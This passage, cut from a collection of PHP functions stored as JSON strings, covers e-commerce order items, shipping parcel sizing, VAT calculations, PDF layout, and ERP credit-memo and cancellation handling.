null,\r\n \"ResourceUrl\" => null\r\n ),\r\n\r\n \"OrderRows\" => [array(\r\n \"OrderRowId\" => null,\r\n \"Order\" => null,\r\n \"Item\" => array(\r\n \"ID\" => $ITid,\r\n \"Name\" => null,\r\n \"ResourceUrl\" => null,\r\n ),\r\n \"ItemName\" => $ITname,\r\n \"ItemCode\" => $ITcode,\r\n \"Description\" => null,\r\n \"Quantity\" => $qty,\r\n \"Price\" => $cena,\r\n \"UnitOfMeasurement\" => \"kos\",\r\n \"RecordDtModified\" => \"2020-01-07T12:20:00+02:00\",\r\n \"RowVersion\" => null,\r\n \"_links\" => null,\r\n ) ],\r\n\r\n \"RecordDtModified\" => date(\"Y-m-d H:i:s\"),\r\n \"RowVersion\" => null,\r\n \"_links\" => null\r\n\r\n );\r\n \r\n return $data;\r\n}", "private function getItemXml($item)\n {\n $qty = (int)$item->getQty() ? (int)$item->getQty() : 1;\n $product = Mage::getModel('catalog/product')->load( $item->getProductId() );\n\n\n\n //$this->_totalPrice += $product->getFinalPrice() * $qty;\n if($this->getConfig('product_cost') && $product->getCost() > 0)\n {\n $this->_totalPrice += $product->getCost() * $qty;\n }\n else\n {\n $this->log(\"p p \" . $product->getFinalPrice() . \" and i P \". $product->getPrice());\n $this->_totalPrice += $product->getFinalPrice() * $qty;\n }\n\n $height = $this->getConvertedMeasure($product->getHeight(), $product->getDimensionUnits());\n //$weight = $this->getConvertedWeight($product->getWeight(),$product->getWeightUnits())*$qty;\n $weight = $this->getConvertedWeight($product->getWeight(),$product->getWeightMeasure());\n $width = $this->getConvertedMeasure($product->getWidth(), $product->getDimensionUnits());\n $length = $this->getConvertedMeasure($product->getLength(), $product->getDimensionUnits());\n $title = substr($product->getSku().';'.preg_replace('/[^a-z0-9\\s\\'\\.\\_]/i','',substr($product->getName(),0,32).\" ...\"),0,32);\n $Readytoship = $product->getReadytoship();\n\n if(intval($length) < 1 || intval($width) < 1 || intval($height) < 1 )\n {\n $length = $width = $height = 1;\n }\n\n $Readytoship = \"\";\n if($product->getReadytoship() != 1)\n {\n $Readytoship = '';\n\t\t\t\n }\n\n if(ceil($weight) <= 0.0000)\n {\n $weight = .7; //default to 7.7 kg\n }\n\n if($height < 1 || !is_numeric($height))\n {\n $height = $this->_default_heightlow; // just a low default\n if($weight >= $this->_weight_low) // less than 1k no height (default 2)\n {\n $height = $this->_default_heighthigh;\n }\n\n }\n\n if($width < 1 || !is_numeric($width))\n {\n $width = $this->_default_widthlow; // just a low default\n if($weight >= $this->_weight_low)\n {\t\t\t // less than 1k no height (default 2)\n $width = $this->_default_widthhigh;\n }\n }\n\n // Create default value for length should value be missing\n if($length < 1 || !is_numeric($length))\n {\n $length = $this->_default_lengthlow; // just a low default\n if($weight >= $this->_weight_low) // less than 1k no height (default 2)\n {\n $length = $this->_default_lengthhigh;\n }\n }\n$aweight = $weight;\n/*$aheight = $height*$qty;*/\n\nif($product->getReadytoship() != 1)\n {\n \n\t\t$this->_package_height += $height; \n\t\tif($width > $this->_package_width) $this->_package_width = $width; \n\t\tif($length > $this->_package_length) $this->_package_length = $length;\n\t\t$this->shipping_weight += $aweight; \n\t\t \n\t\n\n\t\t\t\n\t\t\t $items_xml = \"\\n\n <parcel>\n <weight>{$this->shipping_weight}</weight>\n <length>{$this->_package_length}</length>\n <width>{$this->_package_width}</width>\n <height>{$this->_package_height}</height>\n</parcel>\n\";\n\t\t\t\n }\n\t\telse\n\t\t{\n\t\t\t $items_xml = \"\\n\n <parcel>\n <weight>{$aweight}</weight>\n <length>{$length}</length>\n <width>{$width}</width>\n <height>{$height}</height>\n</parcel>\n\";\n\t\t}\n\n\n \n return $items_xml;\n }", "function add_item_fields( $order ) {\n\t\t\n\t\t$line_items = '';\n\t\t\n\t\t// Cart Contents\n\t\t$item_loop = 0;\n\t\tif (sizeof($order->get_items())>0) {\n\t\t\tforeach ($order->get_items() as $item) {\n\t\t\t\t\n\t\t\t\tif ($item['qty']){\n\t\t\t\t\t$item_loop++;\n\t\t\t\t\t$product = $order->get_product_from_item($item);\n\t\t\t\t\t\n\t\t\t\t\t$item_id = '';\n\t\t\t\t\tif ($product->get_sku()) { \n\t\t\t\t\t\t$item_id = $product->get_sku();\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$item_id = $product->id;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$item_name \t= $this->get_item_name( $item['name'] );\n\t\n\t\t\t\t\t$item_meta \t= new WC_Order_Item_Meta( $item['item_meta'] );\n\t\t\t\t\t$item_desc \t= $item_meta->display( true, true );\n\t\t\t\t\t$item_desc \t= $this->get_item_name( $item_desc, 255);\n\t\t\t\t\t\n\t\t\t\t\t$item_qty \t\t= $item['qty'];\n\t\t\t\t\t$item_amount \t= $order->get_item_total( $item, false );\n\t\t\t\t\t$item_tax \t\t= 'NO';\n\t\t\t\t\t\n\t\t\t\t\t$this->add_item_field( $item_id, $item_name, $item_desc, $item_qty, $item_amount, $item_tax );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $line_items;\n\t}", "function setItemSystemFields($data, $item){\n if ($this->debug_mode)\n echo $this->ClassName . \"setItemSystemFields();\" . \"<HR>\";\n foreach ($item as $key => $value) {\n \tif($key == '_lastmodified'){\n \t\tcontinue;\n \t}\n if ((substr($key, 0, 1) == \"_\") && (! isset($data[$key]))) {\n $data[$key] = $value;\n }\n }\n if (isset($data['_lastmodified'])) {\n \tunset ($data['_lastmodified']);\n }\n }", "public function continueInvoice($invoiceDocFieldsArr, $type, $amountGross, $amountShipping, $posArr = NULL) {\n trace('[METHOD] '.__METHOD__);\n \n $continuedPosFieldsArr = array();\n $invoiceDocUpdateFieldsArr = array(); \n $continuedPosUpdateFieldsArr = array(); \n $gsaShopTransactionAccessorObj = tx_ptgsashop_gsaTransactionAccessor::getInstance();\n $gsaAccountingTransactionAccessorObj = tx_ptgsaaccounting_gsaTransactionAccessor::getInstance();\n $gsaArticleAccessorObj = tx_ptgsashop_articleAccessor::getInstance();\n \n // if Tax not from Article get it per percentage\n $amountOutstanding = $invoiceDocFieldsArr['ENDPRB'] - $invoiceDocFieldsArr['BEZSUMME'] - $invoiceDocFieldsArr['GUTSUMME'] - $invoiceDocFieldsArr['GUTSCHRIFTZAHLUNG'] - $invoiceDocFieldsArr['SKONTOBETRAG'];\n $amountToPay = $amountOutstanding > $amountGross ? $amountGross : $amountOutstanding;\n // Ammount not equal Amount of Invoice\n if ($amountToPay != $invoiceDocFieldsArr['ENDPRB']) {\n // get Taxrate\n $taxRate = tx_pttools_finance::getTaxRate($invoiceDocFieldsArr['ENDPRB'], $invoiceDocFieldsArr['ENDPRN']);\n $amountNet = round(tx_pttools_finance::getNetPriceFromGross($amountToPay, $taxRate),2);\n } else {\n $amountNet = $invoiceDocFieldsArr['ENDPRN'];\n }\n trace($posArr,0,'$posArr');\n trace ($amountToPay,0,'$amountToPay');\n trace ($taxRate,0,'$taxRate');\n trace ($amountGross,0,'$amountGross');\n trace ($amountNet,0,'$amountNet');\n // prepare data: copy continued record data to continued record data and change/overwrite relevant values\n $continuedDocFieldsArr = $invoiceDocFieldsArr;\n \n $continuedDocFieldsArr['NUMMER'] = 0; // will be overwritten/set by insertTransactionDocument(): database ID of the record\n $continuedDocFieldsArr['ALTNUMMER'] = $invoiceDocFieldsArr['NUMMER'];\n # $continuedDocFieldsArr['SCHRIFTNR'] = 0; ### TODO: do not uncomment - ERP seems _not_ to increase but to copy when using the GUI (see comment in tx_ptgsaaccounting__gsaTransactionAccessor::insertTransactionDocument())! // will be overwritten/set by insertTransactionDocument(): continued transaction document number (\"fortlaufende Vorgangsnummer\")\n if ($type == 'GU') {\n $continuedDocFieldsArr['ERFART'] = '05GU';\n $continuedDocFieldsArr['NEUGU'] = 1;\n $gsaDocTypeAbbr = 'GU';\n } else if ($type == 'ST') {\n $continuedDocFieldsArr['ERFART'] = '06ST';\n $gsaDocTypeAbbr = 'ST';\n } else {\n throw new tx_pttools_exception('Wrong type', 3, 'Type :'.$type);\n }\n \n if ($amountGross > $amountToPay) {\n // Sollte nicht vorkommen\n }\n \n // Done for both creditBalance and Cancellation \n $invoiceDocUpdateFieldsArr['GUTSUMME'] = $invoiceDocFieldsArr['GUTSUMME'];\n $invoiceDocUpdateFieldsArr['GUTSUMME'] += $amountToPay;\n\n $continuedDocFieldsArr['ALTERFART'] = $invoiceDocFieldsArr['ERFART'];\n $continuedDocFieldsArr['MARKIERT'] = NULL;\n $continuedDocFieldsArr['OPNUMMER'] = 0; // ### TODO: ERP GUI writes a different number based on file OPNR.INI (not multi-user safe!) // will be overwritten/set by insertTransactionDocument(): outstanding items numbers of invoices (ERP: \"Offene Posten\")\n $continuedDocFieldsArr['GEBUCHT'] = 1;\n $continuedDocFieldsArr['GEDRUCKT'] = 1;\n $continuedDocFieldsArr['AUFTRAGOK'] = 1;\n $continuedDocFieldsArr['FORTGEFUEHRT'] = 0;\n $continuedDocFieldsArr['RESTOK'] = 1;\n $continuedDocFieldsArr['GEMAILT'] = 0;\n $continuedDocFieldsArr['DATUM'] = date('Y-m-d');\n $continuedDocFieldsArr['AUFNR'] = ''; // will be overwritten/set by insertTransactionDocument(): transaction document number (ERP: \"Vorgangsnummer\")\n $continuedDocFieldsArr['ALTAUFNR'] = $invoiceDocFieldsArr['AUFNR'];\n $continuedDocFieldsArr['GUTSUMME'] = 0.0000;\n $continuedDocFieldsArr['BEZSUMME'] = 0.0000;\n $continuedDocFieldsArr['ENDPRB'] = $amountToPay; \n $continuedDocFieldsArr['ENDPRN'] = $amountNet;\n $continuedDocFieldsArr['FLDN01'] = $amountShipping;\n $continuedDocFieldsArr['MKZ'] = 0; # TODO: find out where this comes from and what it is needed for\n $continuedDocFieldsArr['IVERTNR'] = 0; # TODO: find out where this comes from and what it is needed for \n $continuedDocFieldsArr['VORLAGEERLEDIGT'] = 0; # TODO: find out where this comes from and what it is needed for \n $continuedDocFieldsArr['GESGEWICHT'] = 0.0000; # TODO: find out where this comes from and what it is needed for \n #$continuedDocFieldsArr['UHRZEIT'] = ''; # TODO: ERP GUI writes nonsense here (e.g. '1899-12-30 13:10:27')\n $continuedDocFieldsArr['LTERMIN'] = date('d.m.Y');\n $continuedDocFieldsArr['BEMERKUNG'] = 'Automatisch generierte GU/ST fuer Rechnung aus Online-Bestellung'; // data type: longblob\n $continuedDocFieldsArr['LETZTERUSER'] = 'Online-Shop GU/ST Generator'; // data type: varchar(30)\n $continuedDocFieldsArr['LETZTERUSERDATE'] = date('Y-m-d H:i:s');\n trace($continuedDocFieldsArr,0,'$continuedDocFieldsArr');\n # $invoiceDocFieldsArr['SCHRIFTNR'] = 0; ### TODO: do not uncomment - ERP seems _not_ to increase but to copy when using the GUI (see comment in tx_ptgsashop_gsaTransactionAccessor::insertTransactionDocument())! // will be overwritten/set by insertTransactionDocument(): continued transaction document number (\"fortlaufende Vorgangsnummer\")\n \n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n // insert new continued document record\n \t$continuedDocRecordId = $gsaShopTransactionAccessorObj->insertTransactionDocument($continuedDocFieldsArr, $gsaDocTypeAbbr);\n $continuedErpDocNo = $gsaShopTransactionAccessorObj->selectTransactionDocumentNumber($continuedDocRecordId);\n } \n // update existing order invoice document record\n $invoiceDocUpdateFieldsArr['FORTGEFUEHRT'] = 1;\n $invoiceDocUpdateFieldsArr['LETZTERUSER'] = 'Online-Shop Gutschrgenerator'; // data type: varchar(30)\n $invoiceDocUpdateFieldsArr['LETZTERUSERDATE'] = date('Y-m-d H:i:s');\n trace($amountToPay >= $amountOutstanding,0,'$amountToPay >= $amountOutstanding');\n trace($amountToPay,0,'$amountToPay');\n trace($amountOutstanding,0,'$amountOutstanding');\n //restOk works not with Creditmemo TODO look what happens in GSAUFTRAG\n if ((bcsub($amountToPay ,$amountOutstanding,$this->precision)>= 0)) { \n #if ($restOk == true || (bcsub($amountToPay ,$amountOutstanding,$this->precision)>= 0)) { \n // update existing order confirmation document record\n $invoiceDocUpdateFieldsArr['GEBUCHT'] = 1;\n $invoiceDocUpdateFieldsArr['AUFTRAGOK'] = 1;\n $invoiceDocUpdateFieldsArr['FORTGEFUEHRT'] = 1;\n $invoiceDocUpdateFieldsArr['RESTOK'] = 1;\n }\n trace($invoiceDocUpdateFieldsArr,0,'$$invoiceDocUpdateFieldsArr');\n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n $gsaShopTransactionAccessorObj->updateTransactionDocument($invoiceDocFieldsArr['AUFNR'], $invoiceDocUpdateFieldsArr);\n } \n \n // ---------- PROCESS TRANSACTION POSITION RECORDS (GSA DB: FPOS and others) ---------- \n \n // get order confirmation positions data\n $invoicePositionsArr = $gsaShopTransactionAccessorObj->selectTransactionDocPositions($invoiceDocFieldsArr['NUMMER']);\n \n // for all positions of the order confirmation document...\n \n if (is_array($invoicePositionsArr)) {\n if ($amountGross == $invoiceDocFieldsArr['ENDPRB'] || isset($posArr)) {\n $i = 0;\n foreach ($invoicePositionsArr as $key=>$invoicePosFieldsArr) {\n $noToCredit = 0;\n $posGP = $invoicePosFieldsArr['GP'];\n if (isset($posArr)) {\n foreach ($posArr as $pos) {\n if($pos['posNo'] == $invoicePosFieldsArr['POSINR']) {\n $noToCredit = $pos['noToCredit'];\n $posGP = bcmul($pos['priceUnit'],$noToCredit,$this->precision);\n trace($posGP, 0, '$posGP');\n break;\n }\n }\n } \n trace($noToCredit,0,'$noToCredit');\n trace($posArr,0,'$posArr');\n \n if ((isset($posArr) && $noToCredit > 0) || (!isset($posArr))) {\n // ...update the related article's transaction volume (\"Umsatz\") data: ARTIKEL.UMSATZ (net prices!) and ARTIKEL.LETZTERUMSATZ (Format: '2007-06-19 12:00:25')\n // überprüfen\n $i++;\n \n if ($invoiceDocFieldsArr['PRBRUTTO'] == 1) {\n // retrieve net price from gross price if the continued document has the gross price flag set to 1!\n $positionTaxRate = tx_ptgsashop_lib::getTaxRate($invoicePosFieldsArr['USTSATZ'], $invoiceDocFieldsArr['DATUM']);\n $posTotalNetPrice = tx_pttools_finance::getNetPriceFromGross($posGP, $positionTaxRate);\n } else {\n $posTotalNetPrice = $posGP; \n }\n \n trace($posGP, 0, '$posGP');\n trace($posTotalNetPrice, 0, '$posTotalNetPrice');\n\n if ($noToCredit > 0) { \n $quantity = $noToCredit;\n } else { \n $quantity = $invoicePosFieldsArr['MENGE'];\n }\n\n // ...insert new continued document position records \n \n $continuedPosFieldsArr = $invoicePosFieldsArr; // prepare continued position data: copy order confirmation position data to continued position data and change/overwrite relevant values\n $articleArray = $gsaArticleAccessorObj->selectCompleteArticleData($continuedPosFieldsArr['ARTINR']);\n $continuedPosFieldsArr['AUFINR'] = $continuedDocRecordId;\n $continuedPosFieldsArr['NUMMER'] = 0; // will be overwritten/set by insertTransactionDocPosition()\n $continuedPosFieldsArr['ALTAUFINR'] = $invoiceDocFieldsArr['NUMMER']; // uid of predeceeding document record\n $continuedPosFieldsArr['ALTNUMMER'] = $invoicePosFieldsArr['NUMMER']; // uid of predeceeding position record\n $continuedPosFieldsArr['FORTNUMMER'] = $invoicePosFieldsArr['NUMMER']; # TODO: find out where this comes from and what it is needed for\n $continuedPosFieldsArr['MENGE'] = $quantity; // quantity to credit\n $continuedPosFieldsArr['GUTSCHRIFT'] = 0.000; // GUTSCHRIFT = 0 for thhis position\n $continuedPosFieldsArr['RECHNUNG'] = 0.000; // RECHNUNG = 0 for thhis position\n $continuedPosFieldsArr['LIEFERUNG'] = 0.000; // LIEFERUNG = 0 for thhis position\n \n $continuedPosFieldsArr['GESPEICHERT'] = 0; // produced from GSAUUFTRAG even 'speichern' explititely done (for Invoices set to 1)\n \n $continuedPosFieldsArr['ALTERFART'] = $invoiceDocFieldsArr['ERFART'];\n $counter = bcmul($i,10000.0000,$this->precision);\n $continuedPosFieldsArr['INSZAEHLER'] = $counter; ### ??? TODO: Gutschriften werden erhöht \n \n // For old invoices\n $continuedPosFieldsArr['VEINHEIT'] = $continuedPosFieldsArr['VEINHEIT'] != '0.000' ? $continuedPosFieldsArr['VEINHEIT'] : $articleArray['VEINHEIT'];\n $continuedPosFieldsArr['PEINHEIT'] = $continuedPosFieldsArr['PEINHEIT'] != '0.000' ? $continuedPosFieldsArr['PEINHEIT'] : $articleArray['PEINHEIT'];\n $continuedPosFieldsArr['LEINHEIT'] = $continuedPosFieldsArr['PEINHEIT'] != '0.000' ? $continuedPosFieldsArr['LEINHEIT'] : $articleArray['LEINHEIT'];\n $continuedPosFieldsArr['EINHEIT'] = $continuedPosFieldsArr['EINHEIT'] != '' ? $continuedPosFieldsArr['EINHEIT'] : $articleArray['EINHEIT'];\n \n trace($continuedPosFieldsArr,0,'$continuedPosFieldsArr');\n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n $continuedPosRecordId = $gsaShopTransactionAccessorObj->insertTransactionDocPosition($continuedPosFieldsArr);\n }\n \n // ...update existing position position records quantity of Invoices \n trace($quantity, 0, '$quantity');\n $invoicePosUpdateFieldsArr['GUTSCHRIFT'] = bcadd($invoicePosFieldsArr['GUTSCHRIFT'],$quantity,$this->precision);\n $invoicePosUpdateFieldsArr['RECHNUNG'] = $invoicePosFieldsArr['MENGE'];\n $invoicePosUpdateFieldsArr['LIEFERUNG'] = $invoicePosFieldsArr['MENGE'];\n trace($invoicePosFieldsArr,0,'$invoicePosFieldsArr');\n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n $gsaShopTransactionAccessorObj->updateTransactionDocPosition($invoicePosFieldsArr['NUMMER'], $invoicePosUpdateFieldsArr);\n }\n\n $prePosArr = $gsaAccountingTransactionAccessorObj->selectTransactionDocPos($invoicePosFieldsArr['ALTNUMMER']);\n // Write it in Starting Document\n $prePosUpdateArr['GUTSCHRIFT'] = bcadd($prePosArr['GUTSCHRIFT'],$quantity,$this->precision);\n trace($prePosUpdateArr,0,'$prePosUpdateArr');\n if (self::TEST_MODE == false) {\n // write record if not TEST_MODE\n $gsaShopTransactionAccessorObj->updateTransactionDocPosition($invoicePosFieldsArr['ALTNUMMER'], $prePosUpdateArr);\n $gsaArticleAccessorObj->updateTransactionVolume($continuedPosFieldsArr['ARTINR'], (double)-$posTotalNetPrice);\n }\n }\n }\n } else {\n \n // FPOS for free credit memo for invoice\n $i = 0;\n foreach ($invoicePositionsArr as $key=>$invoicePosFieldsArr) {\n // ...update the related article's transaction volume (\"Umsatz\") data: ARTIKEL.UMSATZ (net prices!) and ARTIKEL.LETZTERUMSATZ (Format: '2007-06-19 12:00:25')\n // ünerprüfen\n $i++;\n break;\n }\n $this->freeCreditMemoPos($amountNet,$continuedDocRecordId, $invoicePosFieldsArr);\n }\n }\n \n // ---------- return transaction document number of inserted (or already existing) continued ---------- \n \n return $continuedErpDocNo;\n \n }", "function _putDataDetailSchedules0501s(&$pdf, $font, $item, $margin_line_top) {\n $x_col1 = 97;\n $x_col2 = 127;\n $x_col3 = 157;\n $x_col4 = 187;\n\n $pdf->SetFont($font, null, 8, true);\n $pdf->SetXY(37, 59.4 + $margin_line_top);\n if(!empty($item['CalculationDetail']['item_name_for5'])){\n $pdf->MultiCell(36, 5, $item['CalculationDetail']['item_name_for5'], 0, 'C');\n } else if(!empty($item['CalculationDetail']['item_name'])){\n $pdf->MultiCell(36, 5, $item['CalculationDetail']['item_name'], 0, 'C');\n }\n\n if (!empty($item['CalculationDetail']['account_beggining_sum']) &&\n strlen(number_format($item['CalculationDetail']['account_beggining_sum'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['CalculationDetail']['account_beggining_sum'], $x_col1, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n\n if (!empty($item['CalculationDetail']['subtraction']) &&\n strlen(number_format($item['CalculationDetail']['subtraction'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['CalculationDetail']['subtraction'], $x_col2, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n\n if (!empty($item['CalculationDetail']['adding']) &&\n strlen(number_format($item['CalculationDetail']['adding'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['CalculationDetail']['adding'], $x_col3, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n\n if (!empty($item['next_sum']) &&\n strlen(number_format($item['next_sum'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['next_sum'], $x_col4, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n }", "function processPaymentFieldsSpecialEvents($entry)\n{\n global $dbPriceSingleTicket;\n global $dbPricePartHigh;\n global $dbPricePartHighBtw;\n global $dbTicketPricePart;\n global $dbTicketPricePartBtw;\n global $dbTicketPricePartTotal;\n global $dbBtwHigh;\n\n global $dbFoodPrice;\n $price_ticket_ex_food = $dbPriceSingleTicket - $dbFoodPrice;\n\n // If there is a reduction price which is smaller than the food price the price part high will be below zero\n if ($price_ticket_ex_food < 0) {\n $price_ticket_ex_food = 0;\n }\n\n global $dbParticipants;\n $dbTicketPricePart = $price_ticket_ex_food * count($dbParticipants);\n\n $dbTicketPricePartBtw = $dbTicketPricePart * $dbBtwHigh;\n $dbTicketPricePartTotal = $dbTicketPricePart + $dbTicketPricePartBtw;\n\n $dbPricePartHigh = $dbTicketPricePart + $dbParkingPricePart;\n $dbPricePartHighBtw = $dbPricePartHigh * $dbBtwHigh;\n\n global $dbPricePartHighTotal;\n $dbPricePartHighTotal = $dbPricePartHigh + $dbPricePartHighBtw;\n \n // Calculate low btw\n // When the reduction price is smaller than the food price take the reduction price\n global $dbPricePartLow;\n $dbPricePartLow = $dbFoodPrice;\n if ($dbTicketPrice < $dbFoodPrice) {\n $dbPricePartLow = $dbTicketPrice;\n }\n\n global $dbPricePartLowBtw;\n global $dbPricePartLowTotal;\n global $dbFoodPartPriceLow;\n global $dbFoodPartPriceLowBtw;\n global $dbFoodPartPriceLowTotal;\n\n global $dbBtwLow;\n\n $dbPricePartLow = count($dbParticipants) * $dbPricePartLow;\n $dbFoodPartPriceLow = $dbPricePartLow;\n $dbPricePartLowBtw = $dbPricePartLow * $dbBtwLow;\n $dbFoodPartPriceLowBtw = $dbPricePartLowBtw;\n $dbPricePartLowTotal = $dbPricePartLow + $dbPricePartLowBtw;\n $dbFoodPartPriceLowTotal = $dbPricePartLowTotal;\n\n // Payment details\n global $dbTotalBtw;\n $dbTotalBtw = $dbPricePartLowBtw + $dbPricePartHighBtw;\n global $dbTotalPrice;\n $dbTotalPrice = ($dbPriceSingleTicket * count($dbParticipants)) + $dbParkingPricePart + $dbMembershipPricePart;\n\n $rounded_total_price = number_format($dbTotalPrice * 100, 0, ',', '');\n $rounded_btw_part_low = number_format(($dbPricePartLowBtw) * 100, 0, ',', '');\n $rounded_btw_part_high = number_format(($dbPricePartHighBtw) * 100, 0, ',', '');\n\n global $dbTotalPriceBtw;\n $dbTotalPriceBtw = ($rounded_total_price + $rounded_btw_part_low + $rounded_btw_part_high) / 100;\n}", "public function item_tpl($pid, $type, $payment, $itemtype, $itemid)\n {\n if ($type != 2 || $payment != 'prepay') return;\n\n $db = db(config('db'));\n\n if ($itemid)\n {\n switch ($itemtype)\n {\n case 'room':\n $sql = \"SELECT p.*, h.`name` AS `hotel_name`, r.`name` AS `room`\n FROM `ptc_product_item` AS p\n LEFT JOIN `ptc_hotel` AS h ON p.`objpid` = h.`id`\n LEFT JOIN `ptc_hotel_room_type` AS r ON p.`objid` = r.`id`\n WHERE p.`id`=:id;\";\n $data = $db -> prepare($sql) -> execute(array(':id' => $itemid));\n if (!$data) break;\n\n $data = $data[0];\n $extend = $data['data'] ? json_decode($data['data'], true) : null;\n\n // hotel room\n if ($data['objpid'])\n {\n $rooms = $db -> prepare(\"SELECT `id`,`name` FROM `ptc_hotel_room_type` WHERE `hotel`=:id\") -> execute(array(':id'=>$data['objpid']));\n foreach ($rooms as $k => $v)\n $rooms[$k]['name'] = roomname($v['name'], 2);\n }\n\n // nation\n $nation = $db -> prepare(\"SELECT * FROM `ptc_nation` WHERE `id`=:id;\") -> execute(array(':id'=>(int)$extend['nation']));\n $extend['nation_name'] = $nation ? $nation[0]['name'] : '';\n\n // package\n $package = $db -> prepare(\"SELECT * FROM `ptc_hotel_package` WHERE `id`=:id;\") -> execute(array(':id'=>(int)$extend['package']));\n $extend['package_name'] = $package ? $package[0]['name'] : '';\n break;\n\n case 'auto':\n $sql = \"SELECT p.*, h.`code` AS `auto_name`\n FROM `ptc_product_item` AS p\n LEFT JOIN `ptc_auto` AS h ON p.`objpid` = h.`id`\n WHERE p.`id`=:id;\";\n $data = $db -> prepare($sql) -> execute(array(':id' => $itemid));\n if (!$data) break;\n\n $data = $data[0];\n $extend = $data['data'] ? json_decode($data['data'], true) : null;\n break;\n }\n\n if (!$data)\n echo \"<div class=\\\"alert alert-warning\\\" role=\\\"alert\\\">产品内容丢失,请联系开发人员!</div>\";\n }\n else\n {\n $data = null;\n\n switch ($itemtype)\n {\n case 'room':\n $extend = null;\n $rooms = null;\n break;\n\n case 'auto':\n $extend = null;\n break;\n }\n }\n\n switch ($itemtype)\n {\n case 'room':\n break;\n\n case 'auto':\n $sql = \"SELECT a.`id`, a.`code`, a.`company` FROM `ptc_auto` AS a ORDER BY a.`id` DESC\";\n $autos = $db -> prepare($sql) -> execute();\n break;\n }\n include dirname(__FILE__).'/product/item_'.$itemtype.'.tpl.php';\n }", "public function __construct($_items = NULL,$_bucketId = NULL,$_sellerId = NULL,$_externalSellerId = NULL,$_bucketSubtotalAmt = NULL,$_bucketShippingAmt = NULL,$_bucketInsuranceAmt = NULL,$_bucketSalesTaxAmt = NULL,$_bucketTotalAmt = NULL)\r\n\t{\r\n\t\tparent::__construct(array('Items'=>$_items,'BucketId'=>$_bucketId,'SellerId'=>$_sellerId,'ExternalSellerId'=>$_externalSellerId,'BucketSubtotalAmt'=>$_bucketSubtotalAmt,'BucketShippingAmt'=>$_bucketShippingAmt,'BucketInsuranceAmt'=>$_bucketInsuranceAmt,'BucketSalesTaxAmt'=>$_bucketSalesTaxAmt,'BucketTotalAmt'=>$_bucketTotalAmt));\r\n\t}", "private function setItem(array $itemData)\n {\n //====================================================================//\n // Safety Check\n if ((!$this->item instanceof WC_Order_Item_Shipping) && (!$this->item instanceof WC_Order_Item_Fee)) {\n return;\n }\n //====================================================================//\n // Update Name\n if (isset($itemData[\"name\"])) {\n $this->setGeneric(\"_name\", $itemData[\"name\"], \"item\");\n }\n //====================================================================//\n // Update Quantity\n $qty = $itemData[\"quantity\"] ?? 1;\n //====================================================================//\n // Update Unit Price\n if (isset($itemData[\"subtotal\"])) {\n // Compute Expected Total\n $total = $qty * self::prices()->taxExcluded($itemData[\"subtotal\"]);\n // Compute Expected Total Tax Incl.\n $totalTax = $qty * self::prices()->taxAmount($itemData[\"subtotal\"]);\n // There is NO Discount\n } else {\n $total = $this->item->get_total();\n $totalTax = $this->item->get_total_tax();\n }\n //====================================================================//\n // Update Item Taxes\n if ($totalTax != $this->item->get_total_tax()) {\n $this->setItemTaxArray('total', (float) $totalTax);\n }\n //====================================================================//\n // Update Item Totals\n $this->setGeneric(\"_total\", $total, \"item\");\n }", "public function freeDocCreditMemoOrCancellation($type, $amountGross, $taxCode, $invoiceFieldsArr, tx_ptgsauserreg_customer $customerObj, $note='', $date= '') {\n trace('[METHOD] '.__METHOD__);\n \n $gsaShopTransactionAccessorObj = tx_ptgsashop_gsaTransactionAccessor::getInstance();\n $gsaAccountingTransactionAccessorObj = tx_ptgsaaccounting_gsaTransactionAccessor::getInstance();\n // Freie Gutschrift\n $docFieldsArr = array(); // prepare documentFieldsArray\n $docFieldsArr['NUMMER'] = 0; // will be overwritten/set by insertTransactionDocument(): database ID of the record\n\n trace($taxCode,0,'$taxCode');\n $schriftNr = $gsaAccountingTransactionAccessorObj->getNextSchriftNr();\n trace($schriftNr,0,'$shriftnr');\n if ($date == '') {\n \t$date = date('Y-m-d');\n }\n if($amountGross != $invoiceFieldsArr['ENDPRB']) {\n $taxRate = tx_pttools_finance::getTaxRate($invoiceFieldsArr['ENDPRB'], $invoiceFieldsArr['ENDPRN']);\n trace($taxRate,0,'$taxRate');\n trace($amountGross,0,'$amountGross');\n $amountNet = round(tx_pttools_finance::getNetPriceFromGross($amountGross, $taxRate),2);\n } else {\n $amountNet = $invoiceFieldsArr['ENDPRN'];\n }\n if ($type == 'creditMemo') {\n $erfart = 'GU';\n $docFieldsArr['ERFART'] = '05GU';\n $docFieldsArr['NEUGU'] = 1;\n $docFieldsArr['BEZSUMME'] = 0.000; \n $tmpDataArr['comment'] = 'Automatisch generierte freie Gutschrift ';\n } else if ($type == 'cancellation') {\n \t$erfart = 'ST';\n \t$docFieldsArr['ERFART'] = '06ST';\n $docFieldsArr['BEZSUMME'] = - $amountGross; \n $docFieldsArr['SKONTOBETRAG'] = 0.000; \n $tmpDataArr['comment'] = 'Automatisch generiertes freies Storno ';\n } else {\n throw new tx_pttools_exception('Wrong type', 3, 'Type :'.$type);\n }\n \n $docFieldsArr['NUMMER'] = 0; // ### TODO: ERP GUI writes a different number based on file OPNR.INI (not multi-user safe!) // will be overwritten/set by insertTransactionDocument(): outstanding items numbers of invoices (ERP: \"Offene Posten\")\n $docFieldsArr['SCHRIFTNR'] = $schriftNr; \n # $insertFieldsArr['FSCHRIFT.SCHRIFTNR'] = $this->getNextNumber('VORGANG'); // DO NOT UNCOMMENT (see todo note below)! // continued transaction document number (\"fortlaufende Vorgangsnummer\")\n $docFieldsArr['GEBUCHT'] = 1; \n $docFieldsArr['GEDRUCKT'] = 1; \n $docFieldsArr['AUFTRAGOK'] = 1; \n $docFieldsArr['RESTOK'] = 1; \n $docFieldsArr['GEMAILT'] = 0; \n $docFieldsArr['DATUM'] = $date;\n $docFieldsArr['AUFNR'] 